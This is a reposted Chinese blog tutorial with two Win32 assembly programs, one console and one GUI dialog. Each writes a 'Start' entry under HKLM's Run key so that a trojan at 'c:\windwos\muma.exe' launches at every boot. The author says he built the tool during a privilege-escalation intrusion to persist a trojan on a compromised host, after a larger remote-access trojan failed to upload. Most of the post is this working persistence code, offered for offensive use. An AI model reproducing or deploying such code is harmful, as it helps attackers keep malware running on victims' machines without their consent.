使用汇编写进注册表启动的简单例子

2008-02-23 07:04:32来源：互联网阅读 ()

以下是我初学win32汇编的的笔记，学那么久了，也该丢篇文章出来，呵呵。

对注册表的操作，例如写入，修改，删除，在一些高级语言，例如 C/C VB中都有对注册表操作的API，但是我感觉用win32汇编写，比较适合我自己。例如，创建一个REG_SZ类型的数值，就用RegCreateKey创建一个新项，在API手册中，对它的介绍是“在指定的项下创建一个新项。如指定的项已经存在，那么函数会打开现有的项，如果返回ERROR_SUCCESS，则表示成功”在创建一个新项后，就要用RegSetValueEx设置它的数值，具体的代码如下：

CODE:



.386

.model flat, stdcall

option casemap :none

include     windows.inc

include     user32.inc

includelib   user32.lib

include     kernel32.inc

includelib   kernel32.lib

include     advapi32.inc

includelib   advapi32.lib

.data

szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0

szRegValue db     'Start',0 ;键值名称

szStr1           db   "c:\windwos\muma.exe" ;数据

.code

start:

_EnumKey   proc   _lpKey

  local   @hKey,@dwIndex,@dwLastTime:FILETIME

  

  invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey

  .if   eax == ERROR_SUCCESS

  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\

          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据

  invoke   RegCloseKey,@hKey

  .endif

  ret

_EnumKey     endp

invoke   _EnumKey,NULL

end start

程序中，利用伪指令invoke调用了RegCreateKey，关于RegCreateKey的参数，是这样描述“

invoke RegCreateKeyEx,hKey,lpSubKey,Reserved,lpClass,dwOptions,samDesired,

lpSecurityAttributes,phkResult,lpdwDisposition”

其中hKey用来指定了我们要创建新项的根建，当我们这样“invoke RegCreateKey,

HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey”调用的时候就在“HKEY_LOCAL_MACHINE”这个根建下进行操作，然后设置 “eax == ERROR_SUCCESS” ，说明了操作成功，这样，我们便可以使用RegSetValueEx设置数据名称和值。“invoke RegSetValueEx,@hKey,addr szRegValue,NULL, REG_SZ,addr szStr1,19” 创建了一个“Start”键值名称，它的数据值为“c:\windwos\muma.exe”，写入的子键位置在注册表启动。当然了，我们也可以设置一个REG_DWORD类型的数据值。

记得有一次我提权的时候，发现主机的环境是，有执行exe文件的权限，不过不知道为什么，给它放个鸽子，就提示说“文件尾数超出”，传了个较小一点的木马，运行效果也是不满意。自然想到写一个再小的东西，也就是上面那个代码，然后编译，才2.5K，汗，执行速度绝对一流，然后又设置了木马的路径。

接着，如果把它写成GUI界面的，自然要给它定义一个资源文件，并且加入消息列队执行..下面是GUI界面的代码：

CODE:



.386

.model flat, stdcall

option casemap :none

include     windows.inc

include     user32.inc

includelib   user32.lib

include     kernel32.inc

includelib   kernel32.lib

include     advapi32.inc

includelib   advapi32.lib

ICO_MAIN   equ 1000

DLG_MAIN   equ 1000

IDC_Innovation equ 1001

.data?

hInstance dd ?

.data

szRegKey         db     'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0

szRegValue db     'Start',0 ;键值名称

szStr1           db   "c:\windwos\muma.exe" ;数据

szTitle db '操作成功',0

szCaption db '已经把c:\windwos\muma.exe设置为开机启动',0

.code

_EnumKey   proc   _lpKey

  local   @hKey,@dwIndex,@dwLastTime:FILETIME

  

invoke   RegCreateKey,HKEY_LOCAL_MACHINE,offset szRegKey,addr @hKey

  .if   eax == ERROR_SUCCESS

  invoke   RegSetValueEx,@hKey,addr szRegValue,NULL,\

          REG_SZ,addr szStr1,19 ;写入一个REG_SZ类型的数据

  invoke   RegCloseKey,@hKey

  .endif

  ret

_EnumKey     endp

_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam

local @szBuffer[128]:byte

local @stFindFile:WIN32_FIND_DATA

mov eax,wMsg

.if eax == WM_CLOSE ；这里程序退出

    invoke EndDialog,hWnd,NULL

.elseif eax == WM_INITDIALOG

invoke LoadIcon,hInstance,ICO_MAIN

.elseif eax == WM_COMMAND

mov eax,wParam

.if ax == IDCANCEL

invoke EndDialog,hWnd,NULL

.elseif ax == IDC_Innovation

  invoke   _EnumKey,NULL ；调用子程序完成写入操作

  invoke MessageBox,NULL,addr szCaption,addr szTitle,MB_OK

.endif

.else

mov eax,FALSE

ret

.endif

mov eax,TRUE

ret



_ProcDlgMain endp

start:

invoke GetModuleHandle,NULL

mov hInstance,eax

invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL   

invoke ExitProcess,NULL

end start

程序的变动不大，仅创建了一个模块对话框，只要几行代码就搞定.模块对话框的使用，省去了创建窗口，注册窗口类的麻烦.在_ProcDlgMain主程序中，WM_COMMAND是执行消息的标志，比如IDCANCEL，这个是“退出”，点击，消息列队执行，然后“invoke EndDialog,hWnd,NULL”关闭主程序，干净利落. 相同的，“IDC_Innovation”后，调用_EnumKey子程序，_EnumKey执行的过程，也就写入了启动位置，写完后，设置一个MessageBox提示操作成功。

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有